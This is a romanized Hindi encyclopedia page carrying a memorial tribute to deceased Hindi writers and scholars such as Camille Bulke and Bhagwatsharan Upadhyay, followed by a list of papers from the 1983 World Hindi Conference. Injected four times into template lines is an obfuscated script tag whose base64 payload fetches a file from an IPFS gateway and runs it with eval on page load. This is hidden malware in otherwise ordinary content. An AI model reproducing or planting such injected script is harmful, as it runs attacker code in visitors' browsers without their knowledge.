1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhyayugin sahity ke vyakhyata, adhyeta, samikshak aur anusandhanavetta achary mishr ka janm 1906 mean hua. pandrah varsh ki umr mean gaandhi ke asahayog aandolan se prabhavit hokar padhaee chho di, kraantikari aandolan mean prachchhann roop se sakriy. kanpojitar, proopharidar banake jivikoparjan. em.e. sanskrit ke bad em.e. (hindi) 1936 mean pratham shreni mean pratham. malaviy ji ki prerana se di. li.th. aur vahian kashi vishvavidyalay mean adhyapan. kashi nagari pracharini sabha ke sanpadak aur sahityamantri. shatadhik granthoan ka kushal sampadan. 1946 mean ka. na. pr. sabha ke pradhan mantri. 1953 mean magadh vishvavidyalay mean prophesar tatha adhyaksh. vikram vishvavidyalay se sammanarth di. lith. di gee.

achary kishoridas vajapeyi (mrityu 11 agast, 1981)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanskrit aur hindi ke udbhat vidvan, vyakaran ke pandit, hindi ke adhunik panini ki tarah jinhean d aau. ramavilas sharma, rahul saankrityayan adi manate the, ve svatantr vritti se kanakhal mean atyant arthik kasht mean jivanayapan karate rahe. kuchh samay ke lie unhoanne shikshak ka kary kiya, aur nagari pracharini sabha ke kosh vibhag mean bhi rahe. ve svabhimani aur akkh d svabhav ke lie prasiddh the. 1978 mean moraraji desaee ne manch se niche utarakar uttar pradesh ka samman unhean diya. unake prasiddh granth haian: ‘brajabhasha ka vyakaran’, ‘hindi nirukt’, ‘achchhi hindi’, ‘hindi shabdanushasan’, ‘bharatiy bhashavijnan’, ‘hindi vartani’, ‘shabd vishleshan’, adi. unake kary ka mahatv isalie hai ki bhashavijnan ko unhoanne shuddh bharatiy drishti se liya hai. aangreji ki koee bhi chhap unake lekhan par nahian hai.

phadar kamil bulke (janm 1-9-1909, mrityu 17-8-1982)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

baba kamil bulke bailjiyam mean janme. par 47 varsh poorv yahaan bharat mean mishanari ke nate ae to bharat ke nagarik ban ge. hindi bhasha aur sahity ke adhyayan mean unhoanne apana poora jivan samarpit kar diya. ilahabad vishvavidyalay mean jab ve ‘ram katha ka vikas’ par di. lith ka prabandh likh rahe the tab sanh 1950 mean mera unase parichay hua. usake bad to unaki kripa mujh par agadh matra mean rahati thi. 1982 mean jab rel mantralay ki hindi salahakar samiti ke sadasy ke nate kalakatta padhare the tab ham donoan ne ek sath ek b de adhiveshan mean bhashan die the. unhoanne apani ‘ramakatha’ pustak ki sanshodhit prati mujhe di. usase pahale chhota kosh jo mishanariyoan ki madad ke lie aangreji-hindi shabdavali banaee thi, vah bhi mujhe sujhavoan ke lie diya tha. bad mean b da kosh bana to unaki bahut ichchha thi ki usamean ek marathi kalam jo d kar, use aangreji-hindi-marathi tribhashi-kosh banaya jae. vaise hi unhoanne bihar rashtrabhasha parishadh ke lie ekanath ki marathi ‘bhavarth-ramayan’ ka hindi anuvad taiyar karane ke lie mujhe prerit kiya tha.
ve sant-svabhav ke vyakti the. sada bhojan, sada libas. chaubis ghante jnan-vijnan ki khoj mean nirat. hindi ke prati unaka agrah ni:sprih aur nirapeksh bhav se tha. vishv hindi sammelan, nagapur mean unhean sammanit kiya gaya tha. alankaran bhi bharat sarakar ne unhean diya. parantu vah sab gaun tha. ve lage the baibil ke ek pramanik hindi anuvad mean. jab kabhi milate to sada prasann. ek karmayogi ki tarah, ve hindi seva ko samarpit vyakti the. idhar kee varshoan se sunane mean unhean kasht hota tha, kan ko yantr lagae rahate. us par bhi nij par hi parihas karate: ‘achchha hai, bahut si buri batean sunane se maian bach gaya. unake samman mean ek granth raanchi mean ban raha tha. do bar maianne usake lie lekh likha ab sunata hooan vah smriti ke roop mean prakashit hoga. us lekh mean maianne vistar se bulke ji ke sahityik aur bhasha-vishayak, kosh-vishayak avadan ki charcha ki hai.

d aau. bhagavatasharan upadhyay (janm, 1910, mrityu 8 agast, 1982)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mujhe smaran ata hai ki sanh 46 ke pragatishil lekhak sangh ke ilahabad adhiveshan mean maian pahali bar d aau. bhagavatasharan upadhyay se mila. aantim bar unase bheant ujjain mean huee thi. maian (sv.) shyam paramar ke pratham varsh shraddh par vahaan gaya tha. tab ve vikram vishvavidyalay mean prachin bharat vidya ke prophesar aur kalidas akadami ke prayojana se sanbaddh the. donoan bar bheant karane mean hamare mitr d aau. shivamangalasianh ‘suman’ hi pradhan karan the. is bich mean jab ilahabad mean maian akashavani mean tha, 1948 se 1952 tak, tab lakhanoo mean, dilli mean, banbee mean anek sabha-sammelanoan mean d aau. upadhyay se bheant hoti rahati thi. har samay maianne unhean utsah se chhalachhalat hua dekha. man se ve kabhi vriddh nahian hue. unamean ek vilakshan vaicharik oj aur jnan-pipasa ki tej dhar thi. pratipaksh ka khandan karane mean unhean b da anand ata tha. ‘sangharsh’, ‘savera’ aur ‘garjan’ unake aitihasik kathasangrah the. ‘khoon ke chhote itihas ke pannoan par’ unaki doosari avismaraniy pustak thi, jo itihas ki gaveshana ko lalit nibandh ki tarah prastut karati thi. d aau. upadhyay ki lekhani abadh gati se aangreji aur hindi mean chalati thi. ‘iandiya in kalidas’ unaki ek atyant parishramapoorvak likhi shodh pustak thi. bad mean do khandoan mean usi ka hindi anuvad unhoanne svayan kiya. unake anek granth vishvasahityoan mean bharat ke itihas ke pathyakram mean lage. unaki drishti samajashastriy adhar lekar chalati thi. ve nagari pracharini sabha se prakashit hindi vishvakosh ke bhi sanpadak rahe.
vagmi, uttam vakta, adarsh shikshak, khandan-mandan mean bahut tatpar d aau. upadhyay ek svatantracheta bauddhik the jo rashtriy svadhinata sangram se bachapan se ju de hue the. unhoanne anek deshoan ki yatraean ki. chin mean jo hindi sahityakar sanh 54 ke qarib ge the unamean d aau. upadhyay bhi ek the. aantim dinoan mean ve marishas mean bharat sarakar ke uchchayukt niyukt hue the. durbhagy se port luee mean unaki mrityu ho gee. unaki mrityu ke bad un par hindi ki patr-patrikaoan ne anek shokaanjaliyaan prakashit ki. ‘pratik’ mean sanskritiyoan ka ‘aantaravalanban’ ya ‘kalpana’ mean ‘urvashi’ par lanbi samalochana ya ‘hans’ mean rahul ji ke ‘bolga se ganga’ ki alochana jaise lekh yad a rahe haian. d aau. bhagavatasharan upadhyay khoob parishramapoorvak likhate the. aur apane alochana astr ko kisi bhi danbhi par chalate hue ve jara bhi nahian hichakichate the. yahi nirbhikata unaki bhashashaili ka ek adbhut gun tha. d aau. bhagavatasharan upadhyay jaisa puratatvajn, maulik itihas vicharak aur sath hi karayitri pratibha ki dhani vidvan kee dashakoan bad paida hota hai. unake pas janakari khoob thi, par use janasadharan mean baantane ki yogyata bhi bahut achchhi thi. sanskrit pandit hokar bhi ve adhunik pragatishil vichar-dhara ke vyakti the.

upanyasakar

ilachandr joshi (janm 1902, mrityu 1982)

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almo da mean janmean ilachandr ji sanskrit, baangla aangrezi sahityoan ke gahare adhyeta the. ‘chaand’, ‘sudha’, ‘sammelan patrika’, ‘sangam’, ‘bharat’, ‘dharmayug’ adi anek patroan ka sampadan kiya. apaki prasiddh aupanyasik kritiyaan thi: ‘ghrinamayi’, ‘sannyasi’, ‘parde ki rani’, ‘jahaj ka panchhi’, ‘rrituchakr’ adi. hindi mean upanyasoan mean manovishleshan ki dhara jin lekhakoan ne chalaee, unamean jaineandr kumar tatha ‘ajney’ ke sath-sath ilachandr ji ka nam bhi likha jata hai. d aau. hemachandr joshi (jarman pandit, koshakar, bhashavaijnanik) apake b de bhaee the. apane sanpadak ke nate anek tarun sahityakaroan ko protsahan diya. ilachandr ji ne kuchh kavitaean aur kahaniyaan bhi likhi thi. baangala se anek anuvad bhi kie.

shri shrimannarayan (agraval)

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15 joon, 1912 ko itava mean janme shrimannarayan ji shri jamanalal bajaj ke jamaee the. ‘gaandhivadi arthik yojana’ ke karan, vardha ke bajaj kalej ke priansipal shrimannarayan ji prasiddh hue. ap jivan ke antim varshoan mean gujarat ke rajyapal niyukt hue the. apake arthashastr ke kshetr mean hindi sahityikoan ko b di den hai. rashtrabhasha hindi prachar sabha, vardha ke ve ek sansthapak the. kavita sangrah: ‘manav’, ‘amar’, ‘rajani se prabhat ka aankur’, aur ‘roti ka rag’ prasiddh hai. unaki any pustakean hai: ‘segaanv ka sant’, ‘itani pareshani kyoan ?’ maianne apaki pustakoan ki samiksha ‘jivan sahity’ mean 1940 mean likhi thi.

shri prakashavir shastri

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janasangh ki rajaniti se sanbaddh sansad sadasy, suvakta prakashavir ji aryasamaj ke ek sakriy karyakarta rahe. apane hindi ki pratishtha bharatiy sansad mean badhane mean b da yogadan diya. hindi sahity mean ap ki b di ruchi thi. durbhagy se ek rel durghatana mean unaki mrityu huee. unaka anek ary-samaji shiksha-sansthaoan ke nirman aur vikas mean b da rachanatmak kary raha hai, jo sansmaraniy rahega. sanskrit shikshan ke bhi ve agrahi the.

shri maulichandr sharma

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tihari gadhaval riyasat mean divan maulichandr ji hindi sahity sammelan, ilahabad ke ek purane, karmath karyakarta, uttam vakta aur hindi ke vishay ko lekar jujharoo vritti vale vyakti the. hindutvanishth hone ke karan unhean virodhi vicharadhara ke logoan se bahut si alochana bhi sahani p di. parantu kushal sangathan tatha rashtriy karyakarta ke nate ve sada yad kie jaeange.

achary kailashachandr dev vrihaspati

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shastriy sangit, sanskrit, pharasi, urdoo, brajabhasha ke prakaand-pandit vrihaspatti bhi anek varshoan tak akashavani ke sangit salahakar the. ramapur darabar se gayaki ka adhyayan aranbh karake apane ‘sangit ratnakar’ adi granthoan ki sundar vyakhya hindi mean likhi. aantim dinoan mean ve ‘natyashastr’ par shodh-kary kar rahe the. bharatiy bhasha parishadh, kalakatta mean is vishay par unhoanne savyakhya sangitamay bhashan prastut kiya tha. apane soviyat roos ki bhi yatra ki. sulochana yajurvedi se apane vivah kiya tha. ap ke shodhapoorn granth aprakashit haian.

pan. jhabaramall sharma

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rajasthan ke vayovriddh sahityakar, itihasakar pan. jhabaramall ne ‘neharoo vanshavali aur rajasthan’ par apani antim pustak likhi thi. anek gaveshnamoolak lekh unhoanne rajasthani hastalikhitoan par likhe. gat varsh unhean rashtriy samman diya gaya tha, padmabhooshan upadhi se alankrit kiya gaya tha.

d aau. shankar shesh

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atyant pratibhashali tarun natyakar, sinema katha lekhak d aau. shankar shesh banbee mean ek baiank mean hindi adhikari the. unake ‘phandi’, ‘ek tha dronachary’, ‘raktabij’ adi natakoan se unaki khyati badhi. apaka shodh-prabandh ‘hindi marathi’ kahanikaroan ke tulanatmak adhyayan par tha. mujhe unake parikshak hone ka gaurav mila tha. ve atyant sahriday aur gut-nirapeksh lekhak the. unake ‘gharoanda’ katha par hindi mean ek prasiddh philm bhi bani.

‘arigapoo di’ d aau. ramesh chaudhari

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1922 mean janamean ‘arigapoo di’ telugubhashi the. hindi mean 37 pustakean, jinamean anek upanyas the, likhian, aandhr pradesh ki sanskriti par tin pustakean likhi. apake do upanyas roosi mean anuvadit hue. ve nibandh, kahaniyaan bhi likhate the. uttam patrakar the. madras akashavani par ap hindi karyakramoan ke pramukh prastota the. sahity akadami ke lie adivi bamapirajoo ke upanyas ‘narayanarav’ ka apane hindi mean anuvad kiya tha. dakshin mean hindi prachar kary mean unaka b da yogadan hai. 1942 mean ve rashtriy aur samajavadi aandolanoan se ju de the. aandhr pradesh tatha any kee pradeshoan puraskar dekar apaka sahityik samman diya. 1983 mean apaki mrityu ho gee. tritiy vishv hindi sammelan mean ap sakriy roop se bhag lene vale the kiantu unaki akal mrityu ne hamean unaki sevaoan se vanchit kar diya.

aant mean do hindustani samarthak aise vyakti jinhoanne hindi mean bhi mahatvapoorn lekhan kiya, unake nam deta hooan chooanki ham bhashavaijnanik drishti se hindi-urdoo ki do bhashaean nahian manate, parantu do lipiyoan mean likhi jane vali ek hi bhasha manate haian. pan. sundaralal aur shri raghupati sahay ‘phirak’ ko ham kaise bhoolean? hindustani ke samarthak, ‘naya hind’ ke sanpadak, pan. suandaralal ‘gita aur kuran’ tatha ‘bharat mean aangreji raj’ ke lekhak thean. doosari pustak british shasanakal mean jabt huee thi. shri ‘phirak’ ki hindi kavitaean pan. vishnukaant shastri ne unake nidhan par kalakatta telivijan par di shraddhaanjali mean sunaee thi. ‘phirak’ tulasi ramayan ke b de prashansak the. urdoo ko unhoanne hindi rangat aur roop ke kee muhavare hi nahian, bianb bhi die. unhoanne urdoo shayari ka ‘roop’ sanvara. bharatiy jnanapith unhean mila. aantarrashtriy khyati unhoanne arjit ki. pakistan ke ‘nakoosh’ ne un par ek visheshaank nikala tha magar ‘tarun kaviyoan par batachit’ mean unhoanne hindi ko bahut lata da. d aau. ramavilas sharma se unaki is bat par khasi bahas bhi huee. yah sab itihas ki vastu hai. sahityakaroan ki kamazoriyaan, unake asamajik kary, unaki nirankushata, unaka krodh, unake vyaktitv ko nukili aur chubhane vali batean kal pravah mean bhula di jati hai. bacha rahata hai unaka avadan, unaki yash:kaya. ham sab in mahapurushoan, manishiyoan, srijanashil sahityakaroan, samijhakoan ke prati pun: pranat haian. vinamr shraddha-sumanoan se bhari aanjali unhean arpit karate haian. ham jo kuchh aj hai, vah sab unhian ke karan hai, kyoanki ham sab unhian ki paranpara mean hai.

sanbandhit lekh

tritiy vishv hindi sammelan 1983

kramaank

lekh ka nam

lekhak

hindi aur samasik sanskriti
1.	hindi sahity aur samasik sanskriti	d aau. karn rajasheshagiri rav
2.	hindi sahity mean samasik sanskriti ki sarjanatmak abhivyakti	pro. kesarikumar
3.	hindi sahity aur samasik sanskriti	d aau. chandrakaant baandivadekar
4.	hindi ki samasik evan saanskritik ekata	d aau. jagadish gupt
5.	rajabhasha: karyacharan aur samasik sanskriti	d aau. en.es. dakshinamoorti
6.	hindi ki akhil bharatiyata ka itihas	pro. dineshvar prasad
7.	hindi sahity mean samasik sanskriti	d aau. muanshiram sharma
8.	bharatiy vyaktitv ke sanshlesh ki bhasha	d aau. raghuvansh
9.	desh ki samasik sanskriti ki abhivyakti mean hindi ka yogadan	d aau. rajakishor paandey
10.	saanskritik samanvay ki prakriya aur hindi sahity	shri rajeshvar gangavar
11.	hindi sahity mean samasik sanskriti ke tattv	d aau. shivanandan prasad
12.	hindi:samasik sanskriti ki sanvahika	shri shivasagar mishr
13.	bharat ki samasik sanskririti aur hindi ka vikas	d aau. haradev bahari
hindi ka vikasashil svaroop
14.	hindi ka vikasashil svaroop	d aau. anandaprakash dikshit
15.	hindi ke vikas mean bhojapuri ka yogadan	d aau. udayanarayan tivari
16.	hindi ka vikasashil svaroop (shabdavali ke sandarbh mean)	d aau. kailashachandr bhatiya
17.	manak bhasha ki sankalpana aur hindi	d aau. krishnakumar gosvami
18.	rajabhasha ke roop mean hindi ka vikas, mahattv tatha prakash ki dishaean	shri jayanarayan tivari
19.	saanskritik bhasha ke roop mean hindi ka vikas	d aau. trilochan paandey
20.	hindi ka saralikaran	achary deveandranath sharma
21.	prashasanik hindi ka vikas	d aau. narayanadatt palival
22.	jan ki vikasashil bhasha hindi	shri bhagavat jha azad
23.	bharat ki bhashik ekata: paranpara aur hindi	pro. manik goviand chaturvedi
24.	hindi bhasha aur rashtriy ekikaran	pro. ravindranath shrivastav
25.	hindi ki sanvaidhanik sthiti aur usaka vikasashil svaroop	pro. vijayendr snatak
devanagari lipi ki bhoomika
26.	rashtriy aur aantarrashtriy sandarbh mean devanagari	shri jivan nayak
27.	devanagari	pro. devishankar dvivedi
28.	hindi mean lekhan sanbandhi ekaroopata ki samasya	pro. p. ba. jain
29.	devanagari lipi ki bhoomika	d aau. babooram saksena
30.	devanagari lipi (kashmiri bhasha ke sandarbh mean)	d aau. mohanalal sar
31.	rashtriy aur aantarrashtriy sandarbh mean devanagari lipi	pan. rameshvaradayal dube
videshoan mean hindi
32.	vishv ki hindi patr-patrikaean	d aau. kamata kamalesh
33.	videshoan mean hindi:prachar-prasar aur sthiti ke kuchh pahaloo	pro. premasvaroop gupt
34.	hindi ka ek apanaya-sa kshetr: sanyukt rajy	d aau. ar. es. megregar
35.	hindi bhasha ki bhoomika : vishv ke sandarbh mean	shri rajendr avasthi
36.	marishas ka hindi sahity	d aau. lata
37.	hindi ki bhavi aantarrashtriy bhoomika	d aau. brajeshvar varma
38.	aantarrashtriy sandarbh mean hindi	pro. siddheshvar prasad
39.	nepal mean hindi aur hindi sahity	shri sooryanath gop
vividha
40.	tulanatmak bharatiy sahity evan paddhati vijnan ka prashn	d aau. iandranath chaudhuri
41.	bharat ki bhasha samasya aur hindi	d aau. kumar vimal
42.	bharat ki rajabhasha niti	shri krishnakumar shrivastav
43.	videsh doorasanchar seva	shri ke.si. katiyar
44.	kashmir mean hindi : sthiti aur sanbhavanaean	pro. chamanalal saproo
45.	bharat ki rajabhasha niti aur usaka karyanvayan	shri deveandracharan mishr
46.	bhashayi samasya : ek rashtriy samadhan	shri narmadeshvar chaturvedi
47.	sanskrit-hindi kavyashastr mean upama ki sarvalankarabijata ka vichar	d aau. mahendr madhukar
48.	dvitiy vishv hindi sammelan : nirnay aur kriyanvayan	shri rajamani tivari
49.	vishv ki pramukh bhashaoan mean hindi ka sthan	d aau. ramajilal jaangid
50.	bharatiy adivasiyoan ki matribhasha tatha hindi se inaka samipy	d aau. lakshmanaprasad sinha
51.	maian lekhak nahian hooan	shri vimal mitr
52.	lokajnata sarvajnata (lokavartta vijnan ke sandarbh mean)	d aau. haradvarilal sharma
53.	desh ki ekata ka mool: hamari rashtrabhasha	shri kshemachand ‘suman’
videshi sandarbh
54.	marishas: sagar ke par laghu bharat	shri es. bhuvaneshvar
55.	amarika mean hindi -d aau. kerin shomar
56.	lipaziang vishvavidyalay mean hindi	d aau. (shrimati) marget gatslaf
57.	jarmani sanghiy ganarajy mean hindi	d aau. lothar lutse
58.	soorinam desh aur hindi	shri sooryaprasad bire
59.	hindi ka aantarrashtriy pariprekshy	shri bachchooprasad sianh
svaichchhik sanstha sandarbh
60.	hindi ki svaichchhik sansthaean	shri shankararav loandhe
61.	rashtriy prachar samiti, vardha	shri shankararav loandhe
sammelan sandarbh
62.	pratham aur dvitiy vishv hindi sammelan: uddeshy evan upalabdhiyaan	shri madhukararav chaudhari
smriti-shraddhaanjali
63.	svargiy bharatiy sahityakaroan ko smriti-shraddhaanjali	d aau. prabhakar machave

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